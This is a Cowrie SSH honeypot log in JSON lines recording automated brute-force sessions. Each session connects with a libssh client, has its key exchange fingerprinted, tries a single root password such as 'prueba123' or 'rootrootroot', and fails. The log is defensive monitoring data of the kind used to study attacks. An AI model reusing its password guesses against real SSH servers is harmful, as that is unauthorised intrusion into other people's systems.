{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:51.490842Z","src_ip":"103.183.114.55","session":"799a9fd30950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angels","message":"login attempt [root/angels] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:52.334217Z","src_ip":"103.183.114.55","session":"799a9fd30950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:53.563685Z","src_ip":"103.183.114.55","session":"799a9fd30950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":42050,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d37050649c6","protocol":"ssh","message":"New connection: 80.225.252.182:42050 (10.17.0.5:22) [session: 5d37050649c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:53.606278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:53.615644Z","src_ip":"80.225.252.182","session":"5d37050649c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:53.817234Z","src_ip":"80.225.252.182","session":"5d37050649c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prueba123","message":"login attempt [root/prueba123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:54.618560Z","src_ip":"80.225.252.182","session":"5d37050649c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:55.816288Z","src_ip":"80.225.252.182","session":"5d37050649c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":58894,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca5b3d75807","protocol":"ssh","message":"New connection: 89.127.197.59:58894 (10.17.0.5:22) [session: 7ca5b3d75807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:57.445464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:57.450220Z","src_ip":"89.127.197.59","session":"7ca5b3d75807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:57.574818Z","src_ip":"89.127.197.59","session":"7ca5b3d75807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercury1","message":"login attempt [root/mercury1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:58.101512Z","src_ip":"89.127.197.59","session":"7ca5b3d75807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:53:59.227604Z","src_ip":"89.127.197.59","session":"7ca5b3d75807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":46506,"dst_ip":"10.17.0.5","dst_port":22,"session":"49cb3d36c7f8","protocol":"ssh","message":"New connection: 103.249.84.242:46506 (10.17.0.5:22) [session: 49cb3d36c7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:53.997973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:54.002059Z","src_ip":"103.249.84.242","session":"49cb3d36c7f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:54.235972Z","src_ip":"103.249.84.242","session":"49cb3d36c7f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lager","message":"login attempt [root/lager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:55.184107Z","src_ip":"103.249.84.242","session":"49cb3d36c7f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:56.416719Z","src_ip":"103.249.84.242","session":"49cb3d36c7f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":45558,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ce26a785ed1","protocol":"ssh","message":"New connection: 189.203.163.10:45558 (10.17.0.5:22) [session: 3ce26a785ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:56.628185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:56.632774Z","src_ip":"189.203.163.10","session":"3ce26a785ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:56.697383Z","src_ip":"189.203.163.10","session":"3ce26a785ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gorge","message":"login attempt [root/gorge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:56.975935Z","src_ip":"189.203.163.10","session":"3ce26a785ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:54:58.041007Z","src_ip":"189.203.163.10","session":"3ce26a785ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":39406,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf2a77da95f","protocol":"ssh","message":"New connection: 43.134.71.92:39406 (10.17.0.5:22) [session: acf2a77da95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:03.321259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:03.330591Z","src_ip":"43.134.71.92","session":"acf2a77da95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:03.570462Z","src_ip":"43.134.71.92","session":"acf2a77da95f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prueba123","message":"login attempt [root/prueba123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:04.521716Z","src_ip":"43.134.71.92","session":"acf2a77da95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:05.756521Z","src_ip":"43.134.71.92","session":"acf2a77da95f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":33934,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a6ace725360","protocol":"ssh","message":"New connection: 89.127.197.59:33934 (10.17.0.5:22) [session: 9a6ace725360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:08.177167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:08.182013Z","src_ip":"89.127.197.59","session":"9a6ace725360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:08.304888Z","src_ip":"89.127.197.59","session":"9a6ace725360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:08.823825Z","src_ip":"89.127.197.59","session":"9a6ace725360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:09.950161Z","src_ip":"89.127.197.59","session":"9a6ace725360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":49696,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d98ef4349d8","protocol":"ssh","message":"New connection: 157.230.190.155:49696 (10.17.0.5:22) [session: 1d98ef4349d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:15.815789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:15.822384Z","src_ip":"157.230.190.155","session":"1d98ef4349d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:15.829821Z","src_ip":"157.230.190.155","session":"1d98ef4349d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iskandar","message":"login attempt [root/iskandar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:15.888500Z","src_ip":"157.230.190.155","session":"1d98ef4349d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:16.897186Z","src_ip":"157.230.190.155","session":"1d98ef4349d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":34058,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a830ebdbc6","protocol":"ssh","message":"New connection: 45.119.212.99:34058 (10.17.0.5:22) [session: c9a830ebdbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:33.648526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:34.353287Z","src_ip":"45.119.212.99","session":"c9a830ebdbc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:34.830996Z","src_ip":"45.119.212.99","session":"c9a830ebdbc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optic","message":"login attempt [root/optic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:36.891006Z","src_ip":"45.119.212.99","session":"c9a830ebdbc6","protocol":"ssh"}
